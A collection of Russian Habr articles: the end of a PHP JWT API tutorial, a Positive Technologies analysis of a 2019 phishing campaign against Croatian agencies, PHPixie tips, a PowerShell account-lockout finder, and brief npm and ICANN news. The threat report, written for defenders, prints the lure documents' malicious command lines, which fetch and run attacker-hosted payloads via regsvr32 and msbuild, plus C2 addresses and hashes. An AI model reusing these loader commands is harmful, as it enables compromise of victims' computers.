Здесь, считывается заголовок ‘Authorization: Bearer [token]’ (так называемая bearer авторизация) и извлекается оттуда токен, которые клиенты получают после логина и должны посылать со всеми запросами, требующими авторизацию. Далее с помощью парсера jwt-токен-строчка парсится. И дальше с помощью валидатора распарсенный токен валидируется. Метод validate() возвращает true or false. В случае не валидного токена выбрасывается исключение NotAuthorizedException. Если токен валидный, то мы извлекаем из него id пользователя $token->claims()->get('uid') и сохраняем в переменную запроса $request, чтобы его можно было использовать дальше в контроллере. NotAuthorizedException определяется следующим образом:
```
php
namespace app\exceptions;
class NotAuthorizedHttpException extends \Exception
{
}</code
```
В завершении рассмотрим ещё обработку ошибок. В файле routes.php запишем следующие строчки:
```
php
//routes.php
Router::error(function(Request $request, Exception $exception) {
$response = Router::response();
switch (get_class($exception)) {
case NotAuthorizedHttpException::class: {
$response-httpCode(401);
break;
}
case Exception::class: {
$response->httpCode(500);
break;
}
}
if (PROD) {
return $response->json([]);
} else {
return $response->json([
'status' => 'error',
'message' => $exception->getMessage()
]);
}
});
```
В итоге файл routes.php будет выглядеть следующим образом:
Рис. 2. Итоговая структура проекта
```
php
//routes.php
use app\exceptions\{
NotAuthorizedHttpException
};
use app\middlewares\{
Authenticate,
ProccessRawBody
};
use Pecee\{
Http\Request,
SimpleRouter\SimpleRouter as Router
};
const PROD = false;
Router::setDefaultNamespace('app\controllers');
Router::get('/', 'VueController@run');
Router::group([
'prefix' = 'api/v1',
'middleware' => [
ProccessRawBody::class
]
], function () {
Router::post('/auth/sign-in', 'AuthController@signin');
Router::get('/project', 'ProjectController@index');
Router::group([
'middleware' => [
Authenticate::class
]
], function () {
// authenticated routes
Router::post('/project/create', 'ProjectController@create');
Router::post('/project/update/{id}', 'ProjectController@update')
->where(['id' => '[\d]+']);
});
});
Router::get('/controller', 'VueController@run')
->setMatch('/\/([\w]+)/');
Router::error(function(Request $request, Exception $exception) {
$response = Router::response();
switch (get_class($exception)) {
case NotAuthorizedHttpException::class: {
$response->httpCode(401);
break;
}
case Exception::class: {
$response->httpCode(500);
break;
}
}
if (PROD) {
return $response->json([]);
} else {
return $response->json([
'status' => 'error',
'message' => $exception->getMessage()
]);
}
});
```
Заключение
----------
В итоге у нас получилось небольшое, простое REST api для небольших проектов которое можно использовать на обычном php хостинге с минимальными трудозатратами на его (хостинга) настройку. Полный код проекта [тут](https://github.com/i-luka/api-php/tree/revision1).
Больше настроек роутов можно найти [здесь](https://packagist.org/packages/pecee/simple-router#user-content-routes). Вместо рассмотренной библиотеки "pecee/simple-router" можно использовать любую другую аналогичную библиотеку или даже микрофреймворк Slim.
Пс. Если вы используете публичный репозиторий или придерживаетесь бестпрактис, то не следует хранит секретный ключ в коде. Для этого можно использовать переменные среды или локальные файлы, которые не добавляются в репозиторий. Код работы с jwt токенами можно выделить в отдельный класс в папке services. | https://habr.com/ru/post/681784/ | null | ru | null |
# IronPython на стороне зла: как мы раскрыли кибератаку на госслужбы европейской страны
[](https://habr.com/ru/company/pt/blog/458766/)
Наши специалисты из экспертного центра безопасности всегда держат руку на пульсе и следят за появлением новых интересных и опасных угроз. Именно так в начале апреля 2019 года была обнаружена целевая атака на государственные органы Хорватии. В данном отчете рассмотрена цепочка доставки вредоносного ПО на компьютер жертвы, представлены индикаторы компрометации, а также отмечено использование нового постэксплуатационного фреймворка, который, по нашим данным, ни разу ранее не применялся злоумышленниками.
Заражение жертвы
----------------
2 апреля 2019 года во время планового мониторинга различных ресурсов на предмет нового вредоносного ПО эксперты PT Expert Security Center обнаружили необычный офисный документ.
*Рисунок 1. Вредоносный документ*
Уведомление об отправке было создано в офисном приложении MS Excel и сохранено в старом формате XLS днем ранее (2019-04-01 16:28:07 (UTC)). Тем не менее имеющаяся временная метка о печати (2018-07-25 00:12:30 (UTC)) свидетельствует, что документ использовался еще в 2018 году. Мы вернемся к этому косвенному признаку ниже.
Примечательным является то, что поле «Комментарии» (которое можно изменить в том числе и средствами приложения MS Excel) содержит команду на языке командного интерпретатора Windows:
```
cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"): objShell.Run "net use https://postahr.vip", 0, False: Wscript.Sleep 10000: objShell.Run "regsvr32 /u /n /s /i:https://postahr.vip/page/1/update.sct scrobj.dll", 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs
```
*Рисунок 2. Поле «Комментарии» с подозрительным содержанием*
*Рисунок 3. Содержимое поля «Комментарии» в бинарном виде*
В результате выполнения этой команды в системе создается сценарий на языке Visual Basic, который при запуске выполнит следующие действия:
* подключит сетевой ресурс средствами технологии WebDAV,
* загрузит и запустит файл следующей стадии заражения с использованием легитимной системной утилиты regsvr32.
При подключении сетевого ресурса по протоколу HTTP(S) на сервер злоумышленника отправляется NTLM-запрос, с помощью которого может быть восстановлен NTLM-хеш. Затем полученный хеш может быть использован для авторизации на сервисах от имени жертвы. Мы не нашли следов проведения подобных атак, а причины подключения сетевого ресурса остаются неясны.
Техника использования программы regsvr32 (управление элементами ActiveX) во вредоносных целях не нова и даже имеет название — Squiblydoo. Атакующие применяют ее для соблюдения требований контроля запуска доверенных программ, а также для обхода антивирусного детектирования.
Сам по себе текст в поле «Комментарии» безобиден, а его выполнение должно быть чем-то обусловлено. Когда жертва откроет полученный документ Excel, появится сообщение-ловушка на хорватском языке, которое убеждает включить макросы:
*Рисунок 4. Сообщение-ловушка после открытия документа*
Если выполнение макросов будет разрешено, пользователь увидит фальшивое уведомление о посылке с логотипом хорватской почты:
*Рисунок 5. Ложное уведомление о посылке*
Тем временем средствами макроса сценарий поля «Комментарии» будет выполнен, а созданный в системе скрипт будет добавлен в автозагрузку:
*Рисунок 6. Ключевая логика макроса*
Любопытно, что создаваемый сценарий не запускается макросом. Возможно, это задумка злоумышленника: следующая стадия заражения произойдет после перезагрузки системы и входа пользователя. Мы вернемся к этой детали ниже.
Часть сценария по-своему интересна: аккуратная структура кода с форматированием, отступами и прочими нюансами разметки может быть признаком использования стороннего кода и даже программы, которая позволяет создавать подобные документы автоматически.
*Рисунок 7. Предположительно заимствованная часть макроса*
Поиск ключевых слов дает множество аналогичных частей кода на разных ресурсах. Мы склоняемся к версии, что хакер просто нашел подходящий программный код и немного подправил его для выполнения нужных ему действий:
*Рисунок 8. Пример похожего макроса на issuu.com*
*Рисунок 9. Пример похожего макроса на stackoverflow.com*
*Рисунок 10. Пример похожего макроса на dummies.com*
Вернемся к следующей стадии заражения средствами утилиты regsvr32. При выполнении команды с сервера злоумышленника будет загружен скриптлет update.sct на языке JavaScript. В теле скрипта содержатся бинарные данные, закодированные алгоритмом Base64. После декодирования полученные данные будут десериализованы и выполнены средствами программной платформы .NET Framework.
*Рисунок 11. Скриптлет update.sct, загруженный с сервера злоумышленника*
Стоит отметить, что и этот код был заимствован атакующим на одном из общедоступных ресурсов:
*Рисунок 12. Пример похожего кода на rastamouse.me*
*Рисунок 13. Пример похожего кода на github.com*
Непохоже, что хакер тщательно вникал в логику работы используемых инструментов. Например, в рассмотренном скриптлете вызывается функция setversion, которая ничего не делает. Один из примеров, доступных в Сети, выглядит также.
Распакованный и запущенный объект представляет собой исполняемый PE-файл на платформе .NET.
*Рисунок 14. Заголовок исполняемого PE-файла*
*Рисунок 15. Отладочная информация PE-файла SharpPick*
В результате компиляции сохранился путь до проекта с исходным кодом. Суффикс -master говорит о том, что проект был предварительно склонирован с репозитория, а каталог SharpPick ведет к известному приложению, которое позволяет загружать и выполнять код на языке PowerShell без применения непосредственно интерпретатора языка, а с использованием зависимостей .NET.
Несмотря на доступность проекта утилиты SharpPick на GitHub, следует убедиться, что не были внесены существенные изменения.
*Рисунок 16. Часть декомпилированного кода утилиты SharpPick*
В результате декомпиляции был получен псевдокод, при выполнении которого декодируется из Base64 и запускается PowerShell-скрипт:
*Рисунок 17. Частично преобразованный PowerShell-скрипт*
После упрощения кода разобрать его логику не составляет особого труда:
* формируется объект для взаимодействия с веб-сервером с заданными значениями User-Agent, Cookie и настройками прокси;
* загружается полезная нагрузка по заданному адресу;
* результат расшифровывается алгоритмом RC4 с использованием заданного ключа и запускается.
К сожалению, во время нашего исследования управляющий сервер уже был недоступен. Данные, которые с него были получены ранее, нам найти не удалось. Однако и на этот раз имеется достаточно информации в Сети (пример: отчет наших коллег из [FireEye](https://www.google.com/url?q=https://www.fireeye.com/blog/threat-research/2019/03/winrar-zero-day-abused-in-multiple-campaigns.html&sa=D&ust=1562225689580000)), чтобы однозначно установить: конечное звено в данной цепочке заражения — Empire backdoor, инструмент для удаленного администрирования компьютера жертвы в составе постэксплуатационного фреймворка Empire Framework.
*Рисунок 18. Использование аналогичного PowerShell-скрипта в атаках на уязвимость в WinRAR*
Интересно, что другие паттерны скрипта ведут на обширную статью о техниках проведения тестирования на проникновения с особым вниманием к сокрытию инфраструктуры атакующих за проксирующими серверами. Наиболее вероятный источник информации, который использовался злоумышленником, — статья коллег из Payatu Technologies, где они [приводят](https://www.google.com/url?q=https://payatu.com/redteaming-from-zero-to-one-part-1/&sa=D&ust=1562225689581000) подробную инструкцию по перенаправлению сессий на легитимные ресурсы, блокировке нежелательных пакетов, логированию и так далее, в том числе с использованием Empire.
Спустя несколько часов мы обнаружили еще один документ о посылке. Он имеет множество сходств с предыдущим: также найден в Хорватии (2019-04-02 16:52:56 (UTC)), имеет такое же название и даже изображение-ловушку о полученной посылке. Но все же есть различия.
Вредоносный код снова расположен в поле «Комментарии», но на этот раз логика действий изменена.
```
cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):objShell.Run "C:\windows\system32\cmd.exe /c net use \\176.105.255.59\webdav",0:Wscript.Sleep 60000: objShell.Run "%windir%\Microsoft.Net\Framework\v4.0.30319\msbuild.exe \\176.105.255.59\webdav\msbuild.xml" , 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs
```
* Подключение сетевого ресурса происходит средствами протокола SMB.
* Загрузка и запуск следующей стадии заражения с применением msbuild — легитимной утилиты пакета .NET Framework.
Любопытно, что в адресе монтируемого каталога присутствует строка webdav, косвенно связывающая этот случай с предыдущим. В этот раз атака на NTLM-хеш по-прежнему возможна, хотя подтверждений о ее применении нет. Снова для успешного обхода ограничения запуска сторонних программ используется легитимное приложения (на этот раз msbuild). Прежде чем опишем технику злоупотребления, упомянем об отличиях в программном коде макроса нового документа.
Атакующие не вносили существенных изменений в логику VBA-сценария. Но стоит отметить, что на этот раз они не только обеспечивают автоматическую загрузку создаваемого VBS-скрипта в системе, но и запускают его в момент открытия документа. Вероятнее всего, в предыдущем случае злоумышленники просто забыли про это, а спустя некоторое время, обнаружив оплошность, поправили ее в новой версии документа.
*Рисунок 19. Сравнение кода макроса в двух документах*
Следующая стадия заражения представляет собой XML-документ, в котором содержится программный код на языке C#. Особенность утилиты msbuild позволяет скомпилировать и запустить содержащийся код на лету, о чем свидетельствуют оставленные хакером комментарии в начале разметки.
В коде снова представлен Base64-буфер, который будет раскодирован, разжат алгоритмом Deflate и запущен. Полагаем, читатель уже догадывается о том, что и на этот раз злоумышленник воспользовался свободно доступным шаблоном, о чем свидетельствуют упомянутые комментарии и множество источников в Сети с аналогичным кодом.
*Рисунок 20. Задача msbuild.xml, загруженная с сервера злоумышленника*
В итоге и на этот раз в память будет загружен и выполнен PE-файл на платформе .NET. А отладочная информация содержит не только признак того, что проект был собран на виртуальной машине (возможно, в целях сокрытия информации об атакующем), но и каталог SILENTTRINITY, на котором мы остановимся подробнее.
*Рисунок 21. Отладочная информация PE-файла SILENTTRINITY*
После изучения этих двух документов о посылке мы нашли еще два. И формат файла, и название, и картинка-ловушка с указанным регионом остались неизменными. Документы были доступны в конце августа 2018 года, что подтверждает гипотезу о долгосрочности кампании, о чем мы писали в начале отчета.
Любопытно, что в прошлом году хакеры не использовали поле «Комментарии», однако пустили в ход легитимные утилиты. Вредоносный компонент загружался с помощью утилиты для работы с сертификатами и выполнения криптографических операций certutil, а запуск обеспечивался инструментарием управления системой WMI:
*Рисунок 22. Сравнение макросов документов 2018 года*
К сожалению, за давностью произошедшего нам не удалось установить последующие звенья цепочки атак 2018 года.
Стоит также отметить, что часть кода VBA-скрипта оставалась неизменной, за исключением удаленных вспомогательных комментариев, поясняющих логику работы.
*Рисунок 23. Сравнение макросов 2019 и 2018 годов*
Фреймворк SilentTrinity
-----------------------
Поисковая выдача на ключевое слово SILENTTRINITY из отладочной информации PE-файла без труда позволяет установить происхождение этого звена атаки. В октябре 2018 года Марчелло Сальвати (исследователь компании Black Hills Information Security) разместил проект под названием SILENTTRINITY на популярном репозитории GitHub. Основная идея: использовать гибкость и преимущества известного постэксплуатационного PowerShell-фреймворка в скриптовом языке программирования Python, а именно — IronPython. Проект развивается по сей день.
Мы не будем углубляться в детали работы и реализации проекта (тем более что автор подробно рассказал о нем в своем [докладе](https://www.google.com/url?q=https://www.irongeek.com/i.php?page%3Dvideos/derbycon8/track-2-05-ironpython-omfg-marcello-salvati&sa=D&ust=1562225689585000)). Осветим лишь базовую логику работы и интересные моменты в реализации.
После запуска PE-файла (впрочем, промежуточное звено может быть в другом формате) происходит следующее:
* обращение к управляющему серверу для загрузки ZIP-архива с необходимыми зависимостями и главным скриптом на Python;
* содержимое архива извлекается без сохранения на диск;
* регистрируются зависимости для успешной обработки Python-скриптов;
* запускается основной Python-скрипт, ожидающий задачи от злоумышленника;
* каждая задача передается в виде готового Python-скрипта;
* задача выполняется на стороне жертвы в отдельном потоке;
* результат работы передается обратно на управляющий сервер.
*Рисунок 24. Схема работы фреймворка SilentTrinity*
Из особенностей стоит выделить следующее:
* Поддержка IronPython, в том числе языка Boo (подмножество IronPython со строгой типизацией данных).
* Вся активность не требует дискового пространства: зависимости, скрипты, задачи располагаются в памяти (fileless-атака).
* Архив с зависимостями, задачи, результат работы команд — все общение между жертвой и хакером шифруется алгоритмом AES.
* Общий ключ формируется протоколом Диффи — Хеллмана.
* Сетевой транспорт обеспечивается на уровне протокола HTTP(S) с поддержкой проксирования.
*Рисунок 25. Пример пользовательского интерфейса серверной части фреймворка SilentTrinity*
Интересно, что в день проведения атак PE-загрузчик был загружен на сервис VirusTotal, где ни один антивирусный вендор не определял его как вредоносный. В этом нет ничего удивительного: во-первых, бинарный файл не попадает на диск, и сигнатурный детект большого смысла не имеет; во-вторых, статическое детектирование далеко не единственная технология защиты пользователей.
*Рисунок 26. Результат сканирования загрузчика SilentTrinity в день атак*
Кроме того, спустя несколько дней после атаки вердикты детектирования все же начали появляться. Важно, что в период атак либо защитные средства еще не были оснащены алгоритмами определения, либо об угрозе не было известно в принципе.
*Рисунок 27. Актуальный результат сканирования загрузчика SilentTrinity*
Вероятнее всего, это и послужило причиной выбора этого решения для проведения атак. У нас нет сведений, что фреймворк SilentTrinity уже применялся во вредоносных атаках ранее.
Инфраструктура, используемая атакующими
Стоит упомянуть, что сетевая инфраструктура, используемая хакерами, хронологически связана с проводимыми атаками.
*Таблица 1. Информация об используемых доменах в качестве серверов атакующих*
Домены создавались таким образом, чтобы быть похожими на легитимные атакуемые ресурсы. Это позволяет получить доверие пользователей при проведении фишинговых атак. Отметим, что затрагиваемые ресурсы относятся не только к Хорватии.
Все домены зарегистрированы с применением технологии защиты компании WhoisGuard. Она позволяет скрыть настоящие сведения о регистранте домена в целях защиты от спама, в то время как злоумышленники используют эту технологию в целях анонимизации.
Серверы, раздающие и управляющие вредоносным ПО, были арендованы у нидерландского провайдера Breezle.
Все имеющиеся сведения об узлах, адресах, доменах злоумышленников со множеством связей между собой позволяют судить о бо́льших объемах вредоносного ПО, которое было у атакующих в этот раз. Мы не исключаем, что в кампании могли быть использованы аналогичные рассмотренным инструменты и некоторые случаи заражения остались нераскрытыми.
*Рисунок 28. Графическое представление инфраструктуры злоумышленников*
Заключение
----------
Через день после обнаружения документов в [новостях](https://www.google.com/url?q=https://www.zagorje-international.hr/index.php/2019/04/03/najvjerojatnije-se-siri-putem-e-poste-u-tijelu-poruke-je-poveznica-na-zlonamjernu-stranicu-na-kojoj-se-nalazi-sadrzaj-preuzet-sa-sluzbenih-stranica-hrvatske-poste/&sa=D&ust=1562225689597000) вышел пресс-релиз со [ссылкой](https://www.google.com/url?q=https://www.zsis.hr/default.aspx?id%3D415&sa=D&ust=1562225689597000) на Департамент безопасности информационных систем Хорватии о проводимых целевых фишинговых атаках. Следы были обнаружены в нескольких государственных органах страны. Сообщается, что жертвам рассылались электронные письма с ссылкой на фишинговый сайт, с которого предлагается загрузить вредоносный документ, с которых начинался наш анализ. Это заполняет недостающие звенья в цепочке атак, а в завершении мы бы хотели обратить внимание на методы защиты, которые позволяют снизить урон от таких атак:
* Мониторинг и контроль использования некоторых доверенных программ (certutil, regsvr32, msbuild, net, wmic …)
* Проверка и анализ не только вложений в электронных письмах, но и web-ссылок
* Периодические сканирования памяти ПК в корпоративной сети
* Успешные соединения с C2 Silent Trinity (даже под TLS) можно обнаружить с помощью [PT Network Attack Discovery](https://www.ptsecurity.com/ru-ru/products/network-attack-discovery/), кроме того в [нашем репозитории мы опубликовали детекты для коммьюнити.](https://github.com/ptresearch/AttackDetection/blob/master/SilentTrinity/silenttrinity.rules)
**Автор**: Алексей Вишняков, Positive Technologies
P.S. На эту тему автор также читал доклад на конференции Positive Hack Days 9. Видео этого и других выступлений доступны по ссылке: [www.phdays.com/ru/broadcast/](https://www.phdays.com/ru/broadcast).
**Индикаторы компрометации:**0adb7204ce6bde667c5abd31e4dea164
13db33c83ee680e0a3b454228462e73f
78184cd55d192cdf6272527c62d2ff89
79e72899af1e50c18189340e4a1e46e0
831b08d0c650c8ae9ab8b4a10a199192
92530d1b546ddf2f0966bbe10771521f
c84b7c871bfcd346b3246364140cd60f
hxxps://postahr.vip/page/1/update.sct
hxxps://posteitaliane.live/owa/mail/archive.srf
hxxps://konzum.win/bat3.txt
hxxp://198.46.182.158/bat3.txt
hxxps://176.105.255.59:8089
[\\]176.105.255.59\webdav\msbuild.xml
postahr.online
176.105.254.52
93.170.105.32 | https://habr.com/ru/post/458766/ | null | ru | null |
# Копилка знаний для PHPixie — Часть 1
В нашем чате часто встречаются вопросы ответы на которые могли бы пригодится и другим. К тому же в [PHPixie](http://phpixie.com) есть много интересных фишек которые не попали в документацию так как они слишком специфические. Чтобы вся эта информация не потерялась я начинаю цикл статьей в стиле "tips and tricks" предназначенный в первую очередь для тех кто уже использует фреймворк. И так, начнем.
**Оборачивание произвольного запроса в ORM**
Иногда надо превратить стандартный SQL запрос в ORM сущности, это довольно просто:
```
$result = $database->get()->execute('SELECT ....');
$loader = $orm->builder()->loaders()->dataIterator(
$orm->repository('modelName'),
$result
);
//можно использовать как итератор
foreach($loader as $entity) {
//....
}
//или получить массив
$entities = $loader->asArray();
```
На самом деле таким способом можно получить сущности не только с SQL запроса но и с любого итератора и даже из массива:
```
$result = new \ArrayIterator([
['id' => 1, 'name' => 'Pixie'],
['id' => 2, 'name' => 'Trixie']
]);
```
**Логирование SQL запросов**
Компонент Database поддерживает любой PSR-3 логгер, достаточно передать его в конструктор:
```
$database = new \PHPixie\Database($config, new SomeLogger());
```
Если же вы используете фреймворк то логгер можно задать в классе `Project\Framework\Builder`:
```
protected function buildLogger()
{
return new SomeLogger();
}
```
Запросы будут логированы на уровне DEBUG.
**Подгрузка Many-To-Many связей с условием**
При прелоуде manyToMany (а скоро и oneToMany) связей можно подгрузить не все сущности а только те которые отвечают условию:
```
//подгрузить к статьям авторов и те теги у которых установлено поле active = 1
$fairies = $orm->repository('post')->query()->find([
'author',
'tags' => [
'queryCallback' => function($query) {
$query->where('active', 1);
}
]
]);
```
**Шорткат для генерации URL в контроллере**
```
$frameworkBuilder = $builder->frameworkBuilder();
$uri = $frameworkBuilder->http()->generateUri('app.some', ['id' => 1]);
```
**Неофициальная поддержка Firebird**
Спасибо [Linfuby](https://github.com/Linfuby) теперь PHPixie Database и ORM также работают с Firebird. Пока она на стадии "секретная фича" и нуждается в тщательной проверке, но уже можно пробовать и помочь искать баги. Для подключения достаточно указать конфиг:
```
return [
'default' => [
'driver' => 'interbase',
'database' => 'database',
'host' => 'localhost',
'user' => 'user',
'password' => 'password',
'type' => 'firebird'
]
];
```
Для продакшена точно рано, но может быть полезно если надо сделать пару запросов или дампнуть базу.
**Получение ассоциативного массива сущностей по полю**
```
$items = $orm->query('post')->find()->asArray(false, 'someField');
```
**Новые провайдеры для Social**
PHPixie Social теперь поддерживает еще больше провайдеров: Dropbox, Facebook, Github, Google, Instagram, Twitter, Vkontakte (спасибо [REZ1DENT3](https://github.com/REZ1DENT3) )
**Напоследок новые результаты бенчмарков от Techempower**
PHPixie продолжает лидировать по производительности, с еще большим отрывом, уступая разве что Phalcon i микрофреймворкам без ORM.
[Источник](https://www.techempower.com/benchmarks/#section=data-r13&hw=ph&test=fortune&l=4fthbz)
В Plaintext тесте она обгоняет даже микрофреймворки:
На сегодня это все, в будущем если понравится ждите еще статьей в таком стиле. А если вас заинтересовал сам фреймворк или его компоненты заходите пообщаться к нам в чат. | https://habr.com/ru/post/317498/ | null | ru | null |
# Поиск источника блокировки пользователя в Active Ditectory
В работе администратора домена Active Directory довольно часто возникает необходимость найти причину блокировки пользователя. Иногда причиной блокировки пользователя является заражённый вирусом ПК — в таких случаях особо важна скорость обнаружения источника проблемы. В PowerShell 2 на Windows 2008 R2 есть прекрасный командлет Get-WinEvent который позволяет решать данную задачу за 1-2 минуты даже в очень большом домене.
*Примечание: всё далее описанное касается только PowerShell >= 2.0*
##### Необходимые исходные условия.
Да, чудес не бывает, и для поиска причины блокировки пользователей потребуется некоторая настройка аудита безопасности на контроллерах домена. Должны быть включены следующие подкатегории аудита на контроллерах домена:
| Категория аудита | Подкатегория аудита | Тип аудита | Интересующий нас eventID |
| --- | --- | --- | --- |
| Audit Account Logon Events (Вход учётной записи) | Kerberos Authentication Service (Аудит службы проверки подлинности Kerberos) | Отказ | 4771 Kerberos pre-authentication failed. |
| Audit Logon Events (Вход/Выход) | Logon (Аудит входа в систему) | Отказ | 4625 An account failed to log on. |
| Audit Logon Events (Вход/Выход) | Account Lockout (Аудит блокировки учётных записей) | Успех | 4740 Account locked |
##### Алгоритм поиска источника блокировки
1. Определить какой контроллер является владельцем роли PDC-эмулятора
2. Найти в журнале безопасности PDC-эмулятора событие с кодом 4740 в поле «TargetUserName», которого указано имя интересующего нас пользователя
3. В поле «TargetDomainName» того же события найти имя контроллера домена, обслужившего авторизацию
4. Найти в журнале безопасности контроллера, обслужившего авторизацию, событие с кодом 4625 (неуспешная NTLM авторизация) или 4771 (неуспешная kerberos авторизация)
5. Из найденного события получить значения полей «IpAddress» — адрес ПК с которого была попытка авторизации
Этих действий будет достаточно для быстрого поиска ПК с вредоносным ПО, подбирающим пароли пользователей. Как правило достаточно быстро вычислить источник проблемы и изолировать его для дальнейшего расследования. Алгоритм поиска процесса непосредственно вызывающего блокировку пользователя сильно зависит от ПО, установленного на конечном ПК.
##### Используемые командлеты PowerShell
* [Get-ADDomainController](http://technet.microsoft.com/en-us/library/ee617217.aspx) — для определения владельца роли PDC-эмулятора
* [Get-WinEvent](http://technet.microsoft.com/en-us/library/hh849682.aspx) — «волшебный» командлет, благодаря которому и стал возможным быстрый поиск
В чём «магия» Get-WinEvent?
Во-первых он ищет события с конца и имеет параметр -MaxEvents, позволяющий найти только самое последнее событие или неколько самых последних событий.
Во-вторых он имеет прекрасный параметр -FilterHashtable, который позволяет очень гибко задать условия поиска события.
##### Скрипт поиска
Для себя я подготовил небольшой PowerShell скрипт.
На входе скрипт принимает либо имя пользователя, для которого необходимо найти источник блокировки, либо количество (по умолчанию — 1) последних заблокированных пользователей.
```
param (
$User,
$Count = 1
)
$result = New-Object system.Data.DataTable "Locks"
$col1 = New-Object system.Data.DataColumn Username,([string])
$col2 = New-Object system.Data.DataColumn DCFrom,([string])
$col3 = New-Object system.Data.DataColumn LockTime,([string])
$col4 = New-Object system.Data.DataColumn eventID,([string])
$col5 = New-Object system.Data.DataColumn SourceHost,([string])
$col6 = New-Object system.Data.DataColumn LogonType,([string])
$col7 = New-Object system.Data.DataColumn LogonProcessName,([string])
$col8 = New-Object system.Data.DataColumn FalureTime,([string])
$result.columns.add($col1)
$result.columns.add($col2)
$result.columns.add($col3)
$result.columns.add($col4)
$result.columns.add($col5)
$result.columns.add($col6)
$result.columns.add($col7)
$result.columns.add($col8)
$PDC = [string](Get-ADDomainController -Discover -Service PrimaryDC).Hostname
$FilterHash = @{}
$FilterHash.LogName = "Security"
$FilterHash.ID = "4740"
if ($User) {
$FilterHash.data =$User
$Count = 1
}
$FilterHash2 = @{}
$FilterHash2.LogName = "Security"
$FilterHash2.ID = @("4625", "4771")
Get-WinEvent -Computername $PDC -FilterHashtable $FilterHash -MaxEvents $Count | foreach {
$Row = $result.NewRow()
$Username = ([xml]$_.ToXml()).Event.EventData.Data | ? {$_.Name -eq “TargetUserName”} | %{$_."#text"}
$DCFrom = ([xml]$_.ToXml()).Event.EventData.Data | ? {$_.Name -eq “TargetDomainName”} | %{$_."#text"}
$LockTime = $_.TimeCreated
$FilterHash2.data = $username
Get-WinEvent -Computername $dcfrom -FilterHashtable $FilterHash2 -MaxEvents 3 | foreach {
$Row = $result.NewRow()
$Row.Username = $Username
$Row.DCFrom = $DCFrom
$Row.LockTime = $LockTime
$Row.eventID = $_.ID
$Row.SourceHost = ([xml]$_.ToXml()).Event.EventData.Data | ? {$_.Name -eq “IpAddress”} | %{$_."#text"}
$Row.LogonType = ([xml]$_.ToXml()).Event.EventData.Data | ? {$_.Name -eq “LogonType”} | %{$_."#text"}
switch ($Row.LogonType)
{
"2" {$Row.LogonType = "Interactive"}
"3" {$Row.LogonType = "Network"}
"4" {$Row.LogonType = "Batch"}
"5" {$Row.LogonType = "Service"}
"7" {$Row.LogonType = "Unlock"}
"8" {$Row.LogonType = "NetworkCleartext"}
"9" {$Row.LogonType = "NewCredentials"}
"10" {$Row.LogonType = "RemoteInteractive"}
"11" {$Row.LogonType = "CachedInteractive"}
}
$Row.LogonProcessName = ([xml]$_.ToXml()).Event.EventData.Data | ? {$_.Name -eq “LogonProcessName”} | %{$_."#text"}
$Row.FalureTime = $_.TimeCreated
$result.Rows.Add($Row)
}
}
$result | Format-Table -AutoSize
```
Пример использования:
```
PS> Find-Locker.ps1 -User i.i.inanov
PS> Find-Locker.ps1 -Count 10
```
##### Вместо P.S.
Да, есть [Account Lockout and Management Tools](http://www.microsoft.com/en-us/download/details.aspx?id=18465) с прекрасной утилитой LockoutStatus.exe, но она долго опрашивает все контроллеры домена (а некоторый из них могут быть и недоступны).
Предложенный скрипт никак не претендует на замену LockoutStatus.exe (у них совершенно разный принцип работы). Обычно я использую их вместе.
Готовый скрипт можно скачать с Google Drive: [Find-Locker.ps1](https://docs.google.com/file/d/0Byd6SIGDJbOpWFpjZnBreUw5dzg/edit?usp=sharing) | https://habr.com/ru/post/171701/ | null | ru | null |
# NPM 2.0.0 & передача аргументов в run-script
22 июля случилось небольшое, но знаментаельное событие: был принят [пулл-реквест](https://github.com/npm/npm/pull/5518), что добавлял поддержку передачи произвольных аргументов в ваши npm script'ы. Уже появился [альфа-релиз](https://github.com/npm/npm/releases/tag/v2.0.0-alpha-5) npm весрии 2.0.0, что включает эту возможность.
Для начала, почему это хорошо?
Исторически сложилось, что некоторый вид node-пакетов (билд-инструменты, тест-раннеры) использовали два вида набора пакетов: один установленный глобально, который обычно имел постфикс -cli (karma-cli, grunt-cli), что запускал локально установленный пакет в node\_modules. Это позволяло использовать разные версии тест-раннеров, без необходимости ломать все тесты во всех других проектах при необходимости обновить пакет в каком-нибудь из них. Это, в своё время, стало отличным решением для grunt (версия 0.4.0 применила этот подход, что помогло избежать многих проблем с обратной несовместимостью пакетов).
Также, есть факт того, что при запуске npm script'а, в путь исполняемых файлов добавляются node\_modules/.bin, в котором, в принципе, и лежат те самые раннеры/билдеры, что запускаются глобальным cli пакетом. Это позволяет в своём package.json добавить:
```
scripts: {
grunt: "grunt build"
}
```
и запускать локально установленный grunt простым `npm run grunt`. Проблемой по сей день был случай, когда вам нужно было передать аргументы в ваш npm script – это было невозможно.
Теперь же станет возможным, добавив в своём package.json
```
scripts: {
grunt: "grunt"
}
```
использовать команды вида `npm run grunt - build` или `npm run grunt - build --verbose`. В [одном из комментариев](https://github.com/npm/npm/pull/5518#issuecomment-48440496) к оригинальному пулл-реквесту предлагается просто создать алиас вида `alias gr='npm run grunt --'` и запускать билд простым `gr build`. | https://habr.com/ru/post/230831/ | null | ru | null |
# ICANN отклонил идею Google о доменах без точки
ICANN проголосовал против возможности создания доменных имён без точки, положив конец идее Google о доменах http://search, http://app, http://blog и http://cloud, [пишет](http://www.theverge.com/2013/8/16/4629520/icann-rejects-dotless-domain-name-idea-google) The Verge.
Google хотел, чтобы такие домены перенаправляли пользователей на определённый ими же сайт через «новый технический стандарт», на разработку которого компания потратила несколько месяцев. Например, Google хотел, чтобы по запросу http://search открывалась поисковая система, выбранная пользователем — будь то Google, Bing, Yahoo или какая-либо ещё.
Аналогичным образом, если бы идея Google была реализована, http://blog направлял бы пользователя на выбранную им блог-платформу, в то время как http://cloud делал бы то же самое для облачных сервисов, а http://app — для магазинов мобильных и десктопных приложений.
В своей резолюции, принятой на этой неделе, ICANN заявил, что введение доменов без точки будет представлять существенные риски безопасности и стабильности. Отказ от доменов без точки в принципе неудивителен, учитывая нерешительность ICANN в изменении статус-кво.
Хотя организация говорит о планах запустить почти 2000 новых доменных имён, процесс идёт относительно медленно. Наиболее значительные изменения в этом году произошли в июле, когда ICANN запустил четыре домена верхнего уровня: .شبكة («веб» по-арабски), .游戏 («игра» по-китайски), `.`онлайн и `.`сайт.
